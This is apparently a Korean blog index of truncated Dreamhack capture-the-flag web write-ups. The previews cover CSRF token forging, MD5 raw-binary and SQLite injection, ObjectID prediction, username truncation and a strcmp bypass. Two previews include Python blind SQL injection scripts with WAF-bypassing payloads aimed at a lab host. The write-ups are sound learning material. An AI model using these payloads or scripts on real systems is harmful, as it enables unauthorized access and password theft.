본문 바로가기

모의해킹/Dreamhack

(65)
CSRF Advanced [WEB LEVEL1] CSRF 취약점 문제이다. 페이지를 보면 생각 나는 CSRF은 계정의 Password을 변경하는 시나리오가 생각이 난다. 정상적으로 패스워드를 변경했을 때, 패킷정보를 확인해 본다. 해당 패킷을 보면 csrf token이 있어 이 부분만 해결을 하면 풀리는 문제인 거 같다. *CSRF TOKEN 방식은 매 요청마다 난수를 임의로 생성하여 세션에 저장하고 전송시키는 방식이다. 소스코드를 보면 csrf token이 어떻게 만들어지는지 확인을 할 수 있다. - username에 remote_addr을 더해서 MD5 인코딩해주면 해당 csrf token을 만들 수 있다. MD5 암호화 도구를 사용해 해당 csrf token을 만들어 페이로드를 작성하면 된다. csrf 취약점이 발생하는 flag 페이지로 이동해 ..
md5 password [WEB LEVEL1] MD5 true 취약점은 binary로 반환된 문자열이 DB의 쿼리문으로 그대로 들어갈 때 발생한다. MD5 함수는 문자열에 대한 값을 16진수로 출력해 준다. *true 옵션을 주면 raw binary로 출력해 준다. password를 입력하면 md5으로 복호화하는 건가?? 확실한 로직을 알기 위해 source 코드를 봐보자. 소스 코드를 보면 mysqli_real_escape_string 함수는 mysql_query에서 특수 문자열을 이스케이프 하기 위해 사용한다. -> SQL Injection을 막아주기 위해 특수문자 앞에 이스케이프를 붙여주는 기능( \ 백슬래쉬) SQL 쿼리문을 보면 password = ' md5($ps, true)' 부분에 쿼리문을 넣어 참으로 만들어줘야 한다. 방법으로 or로..
baby-sqlite [WEB LEVEL1] 로그인을 하면 flag 값을 획득하는 문제인 거 같다. 소스 코드에서 쿼리문을 보면 uid 랑 upw 값에 입력값을 넣기 위해서는 '를 사용해야 하는데 필터링되어 있다. level 부분에는 ' 를 사용하지 않아 여기 부분에 injection 구문을 넣으면 될 거 같다. UI에는 level을 입력하는 구간이 없어 burp suite를 사용해 level에 대한 파라미터를 입력해 준다. level 파라미터에 데이터 값을 넣어주면 error는 안되지만 flag 값을 받을 수 없다. sqlite에서는 || 가 더해주는 기능으로 사용된다. 그리고 select 대신에 valuse를 사용할 수 있다는 걸 강의를 통해 배우게 되었다.
mongoboard [WEB LEVEL1] 문제를 풀려면 mongodb의 ObjectID 특성을 알아야한다. *ObjectID 특성(12바이트로 구성) 1. Object 생성을 나타내는 앞에 4바이트는 타임스탬프 이다. 2. 프로세스당 한 번 생성되는 5바이트 임의 값이다. 3. 임의의 값으로 초기화되는 3바이트 증분 카운터이다. 참고 : https://www.mongodb.com/docs/manual/reference/method/ObjectId/ ObjectId() — MongoDB Manual Docs Home → MongoDB Manual ObjectId( )Returns a new ObjectId. The 12-byte ObjectId consists of:A 4-byte timestamp, representing the ObjectId..
tmitter [WEB LEVEL1] admin으로 로그인을 해야 하는 문제이다. 개발자 모드에 적혀있는 힌트를 보면 admin이라는 계정으로 ID를 만들어야 한다.(이미 만들어있음,,,,) ID를 만들때 자료형을 char로 설정이 되어있으면 정해진 길이만큼만 받고 그 뒤로는 데이터가 잘라서 데이터베이스에 들어가는 취약점이 있다. maxlength="32"를 "33"으로 수정을 한 뒤, "admin 1" 이렇게 가운데를 다 공백으로 만든 다음 뒤 문장에 아무 문자를 입력해 아이디를 만들어서 로그인을 해주면 admin으로 로그인이 된다.
sql injection bypass WAF Advanced [WEB LEVEL1] 저번에 풀었던 SQL injection bypass WAF 문제랑 동일하다. 다른 점은 더 많은 문자열이 필터링되어 있다. import requests from string import ascii_letters, digits a = ascii_letters + digits url = "http://host3.dreamhack.games:13684/" num = 0 ch ='' while True: num += 1 for i in a: param = {"uid":"'||substr(upw,"+str(num)+",1)like('"+str(i)+"');%00"} req = requests.get(url,params=param) if "admin" in req.text: ch += i print(ch) brea..
strcmp [WEB LEVEL1] strcmp 함수는 두 개의 string을 비교하는 함수이다. 페이지에 있는 소스를 보면 입력한 password 하고 저장된 password 하고 strcmp 함수로 사용해 비교해서 0이 나오면(=둘이 같다) flag을 출력하라는 소스 코드이다. strcmp 사용할 값을 배열화 하게 되면 배열과 문자 값을 비교하였을시 0 값을 반환하기 때문에 아무 문자를 입력하였을때, 배열로 넘어가면서 값을 비교하여 0 값을 반환한다. **비교할시 "==" 가 아닌 "==="로 수정해야한다.
sql injectuon bypass WAF [WEB LEVEL1] guest을 입력했을 때, guest가 출력이 된다. admin을 입력했을 때는 WAF에 때문에 막혀있다. 소스 코드를 보니 keywords에 적혀있는 문자는 WAF에 걸리는 거 같다. admin에 대한 upw의 패스워드의 길이를 구하기 위해 '||length(upw) like(44);%00 구문을 사용했다. import requests url = '해당 URL' num = 0 while True: num += 1 param = {"uid":"'||length(upw)like("+str(num)+");%00"} req = requests.get(url,params=param) if "admin" in req.text: print(num) break import requests from string imp..